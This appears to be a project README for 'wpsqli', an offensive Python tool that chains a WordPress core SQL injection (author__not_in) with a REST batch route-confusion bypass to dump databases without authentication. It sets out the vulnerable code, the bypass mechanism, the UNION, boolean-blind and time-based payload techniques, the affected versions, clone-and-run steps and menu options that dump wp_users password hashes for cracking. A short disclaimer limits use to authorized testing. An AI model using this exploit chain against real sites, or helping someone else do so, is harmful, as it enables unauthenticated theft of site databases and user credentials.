
wpsqli full SQLi extractor + dumper for CVE-2026-60137
A fast, menu-driven database extraction tool exploiting the
author__not_inSQL injection vulnerability in WordPress core. This tool focuses purely on database enumeration and dumping, utilizing the REST batch route confusion (CVE-2026-63030) to reach the SQLi sink unauthenticated.
wpsqli is a pure Python tool designed to exploit a chained vulnerability in WordPress core that allows unauthenticated SQL injection into the database. It bypasses WordPress REST API validation via a batch route confusion bug, delivering a raw string payload directly to the WP_Query SQL sink.
This tool is built for speed and flexibility: it automatically attempts UNION-based in-band extraction (instant), falls back to 8-thread parallel boolean-blind extraction, and finally to sequential time-based extraction if needed.
This tool chains two independent vulnerabilities to achieve unauthenticated database extraction:
author__not_in SQL Injection (CVE-2026-60137)Location: wp-includes/class-wp-query.php, WP_Query::get_posts()
The author__not_in parameter only applies absint() sanitization if the input is an array. If a string is passed, the is_array() guard is skipped, the string passes through implode() unchanged, and is concatenated raw into the SQL $where clause.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
The REST API posts endpoint maps author_exclude to author__not_in but declares it as type => 'array' of integers, so core coerces/rejects a string. Bug B smuggles the string past validation by abusing a desynchronization bug in the REST batch endpoint (/wp-json/batch/v1). By injecting a malformed path primer that wp_parse_url() rejects, a WP_Error is seeded into the batch request list, desyncing $matches from $validation. This allows a following sub-request to be dispatched under the wrong handler without parameter validation.
Caveat: The SQLi sink is only reached when a persistent object cache (Redis/Memcached) is NOT in use.
pip install required.wp_posts row to extract entire strings in a single HTTP request (instant).Ctrl+C during extraction stops the current query and returns partial results without crashing the session.ID|user_login|user_pass format with bcrypt hashes ready for hashcat -m 35500.No installation required. Just download and run:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
Requirements:
Launch the interactive menu:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| Option | Description |
|---|---|
0 | Connect to a target (sanitizes URLs automatically) |
1 | Verify vulnerability and active extraction mode |
| Option | Description |
|---|---|
9 | List all databases on the MySQL server |
10 | List all tables in current or specified database |
11 | List all column names for a specific table |
| Option | Description |
|---|---|
12 | Dump a single table (with optional row limit and file save) |
13 | Dump all tables in current database |
14 | Full nuclear dump — all tables + all rows to timestamped file |
The tool automatically attempts three extraction modes in order of speed:
Forges a fake wp_posts row with the extracted value hex-encoded in the post_title column (wrapped in ||..|| markers). The REST API reflects it back in the response — entire string in a single HTTP request.
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) to encode the resultIf UNION is unavailable, uses 8 parallel threads with binary search to extract each character. The boolean oracle checks whether the injected AND (condition) returns rows.
Fallback if the boolean oracle returns no rows (e.g., site with 0 published posts). Uses IF(condition, SLEEP(N), 0) to encode truth in response latency.
This tool is designed for authorized security testing and educational purposes only. You must only use this tool against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal.
The authors and contributors of this tool are not responsible for any misuse or damage caused by this software. Use at your own risk
This tool is provided for educational and authorized testing purposes only.
| Version Range | Status |
|---|
| 6.8.0 – 6.8.5 | SQLi bug present, but chain NOT reachable (batch confusion introduced in 6.9.0) |
| 6.9.0 – 6.9.4 | VULNERABLE — full unauth chain |
| 7.0.0 – 7.0.1 | VULNERABLE — full unauth chain |
| 6.8.6 | Patched (SQLi) |
| 6.9.5 | Patched |
| 7.0.2 | Patched |
| 7.1-beta2+ | Patched |
| Option | Description |
|---|
2 | Extract MySQL version (SELECT @@version) |
3 | Extract current database name (SELECT DATABASE()) |
4 | Extract current DB user (SELECT CURRENT_USER()) |
5 | Extract WordPress table prefix |
6 | Dump wp_users table (ID, login, password hash) |
7 | Run a custom SQL query |
8 | Run all fingerprints (options 2-5) in sequence |
| Mode | Requests per Query | Speed | When Used |
|---|
| UNION | 1 | Instant | No object cache, column count matches |
| Boolean (8 threads) | ~7 × string_length / 8 | Fast | UNION blocked, has rows |
| Time-based | ~7 × sleep × string_length | Slow | No rows for boolean oracle |
| Extraction | Chars | Requests | Time |
|---|
| MySQL version | ~20 | ~140 | ~15s |
| Database name | ~15 | ~105 | ~12s |
| DB user | ~25 | ~175 | ~20s |
| Table prefix | ~5 | ~35 | ~5s |
| wp_users row (200 chars) | 200 | ~1400 | ~2min |